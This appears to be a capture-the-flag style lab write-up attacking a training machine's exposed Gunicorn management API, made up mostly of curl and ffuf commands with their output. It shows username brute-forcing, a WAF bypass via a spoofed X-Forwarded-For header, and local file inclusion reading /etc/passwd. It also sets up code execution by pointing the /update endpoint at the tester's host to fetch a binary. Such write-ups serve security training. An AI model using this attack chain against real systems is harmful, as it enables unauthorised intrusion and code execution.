Web
Nmap discovered a Web server on the target port 13337
The running service is Gunicorn 20.0.4
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/xposedapi]
└─$ curl -I http://$IP:13337/
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Thu, 06 Feb 2025 17:10:48 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 1583
Webroot
It is a API server.
There is a mention that this API server is for management on the localhost and should not be exposed to external network
There appears to be 4 API endpoints, excluding the landing page;
/version
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/xposedapi]
└─$ curl -X OPTIONS -i http://$IP:13337/version
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Thu, 06 Feb 2025 17:17:50 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Allow: HEAD, GET, OPTIONS
Content-Length: 0
Supporting HEAD
, GET
, and OPTIONS
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/xposedapi]
└─$ curl -X GET -i http://$IP:13337/version
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Thu, 06 Feb 2025 17:15:10 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 38
1.0.0b8f887f33975ead915f336f57f0657180
That’s the version but the last string looks to be a hash string
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/xposedapi]
└─$ hashid 0b8f887f33975ead915f336f57f0657180
Analyzing '0b8f887f33975ead915f336f57f0657180'
[+] CryptoCurrency(Adress)
N/A
/update
It would appear that code execution can be done through providing a Linux binary via the
url
parameter
But it may be restricted to a certain user as the presence of the user
parameter suggests
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/xposedapi]
└─$ curl -X OPTIONS -i http://$IP:13337/update
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Thu, 06 Feb 2025 17:18:52 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Allow: POST, OPTIONS
Content-Length: 0
Supporting POST
and OPTIONS
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/xposedapi]
└─$ curl -X POST -i http://$IP:13337/update -H 'Content-Type: application/json' -d '{"user":"admin", "url":"http://192.168.45.215/blah"}'
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Thu, 06 Feb 2025 17:23:33 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 17
Invalid username.
As expected, the user
parameter works as an authentication mechanism
Only a valid user can update
Brute-Force Attack
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/xposedapi]
└─$ ffuf -X POST -c -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -u http://$IP:13337/update -H 'Content-Type: application/json' -d '{"user":"FUZZ", "url":"http://192.168.45.215/blah"}' -mc all -fr 'Invalid username.'
________________________________________________
:: Method : POST
:: URL : http://192.168.209.134:13337/update
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
:: Header : Content-Type: application/json
:: Data : {"user":"FUZZ", "url":"http://192.168.45.215/blah"}
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Regexp: Invalid username.
________________________________________________
:: Progress: [8295455/8295455] :: Job [1/1] :: 543 req/sec :: Duration: [0:20:24] :: Errors: 0 ::
N/A
clumsyadmin
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/xposedapi]
└─$ curl -X POST -i http://$IP:13337/update -H 'Content-Type: application/json' -d '{"user":"clumsyadmin", "url":"http://192.168.45.215/blah"}'
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Thu, 06 Feb 2025 18:01:06 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 81
Update requested by clumsyadmin. Restart the software for changes to take effect.
Testing the valid system user, clumsyadmin
, identified from the /log
API endpoint confirms
It says that change takes its effect upon restarts
There is the SSRF hit
Moving on to the Exploitation phase
/logs
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/xposedapi]
└─$ curl -X OPTIONS -I http://$IP:13337/logs
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Thu, 06 Feb 2025 17:25:12 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Allow: HEAD, GET, OPTIONS
Content-Length: 0
Supporting HEAD
, GET
, and OPTIONS
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/xposedapi]
└─$ curl -X GET -i http://$IP:13337/logs
HTTP/1.1 403 FORBIDDEN
Server: gunicorn/20.0.4
Date: Thu, 06 Feb 2025 17:25:42 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 33
WAF: Access Denied for this Host.
There is a WAF that denies access This may only work internally
X-Forwarded-For
Header
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/xposedapi]
└─$ curl -X GET -H 'X-Forwarded-For: localhost' -i http://$IP:13337/logs
HTTP/1.1 404 NOT FOUND
Server: gunicorn/20.0.4
Date: Thu, 06 Feb 2025 17:52:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 73
Error! No file specified. Use file=/path/to/log/file to access log files.
It can be bypassed using the X-Forwarded-For header
Log file must be specified using file=/path/to/log/file
LFI might be possible
LFI
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/xposedapi]
└─$ curl -X GET -H 'X-Forwarded-For: localhost' -i http://$IP:13337/logs?file=/etc/passwd
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Thu, 06 Feb 2025 17:54:28 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 2046
<html>
<head>
<title>Remote Software Management API</title>
<link rel="stylesheet" href="static/style.css"
</head>
<body>
<center><h1 style="color: #F0F0F0;">Remote Software Management API</h1></center>
<br>
<br>
<h2>Attention! This utility should not be exposed to external network. It is just for management on localhost. Contact system administrator(s) if you find this exposed on external network.</h2>
<br>
<br>
<div class="divmain">
<h3>Log:</h3>
<div class="divmin">
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
clumsyadmin:x:1000:1000::/home/clumsyadmin:/bin/sh
</div>
</div>
</body>
</html>
Successfully fetched the “log” file
File Read via Directory Traversal
There is a valid system user; clumsyadmin
This user may be used for the /update
API endpoint
/restart
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/xposedapi]
└─$ curl -X OPTIONS -I http://$IP:13337/restart
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Thu, 06 Feb 2025 17:29:18 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Allow: HEAD, GET, POST, OPTIONS
Content-Length: 0
Supporting HEAD
, GET
, POST
, and OPTIONS
Why would it support POST
?
It shows a pop window, asking for confirmation
Then, it redirects to the landing page
It seems to skip the confirmation window if a POST request is made
This feature can be used to invoke code execution planted from the
/update
API endpoint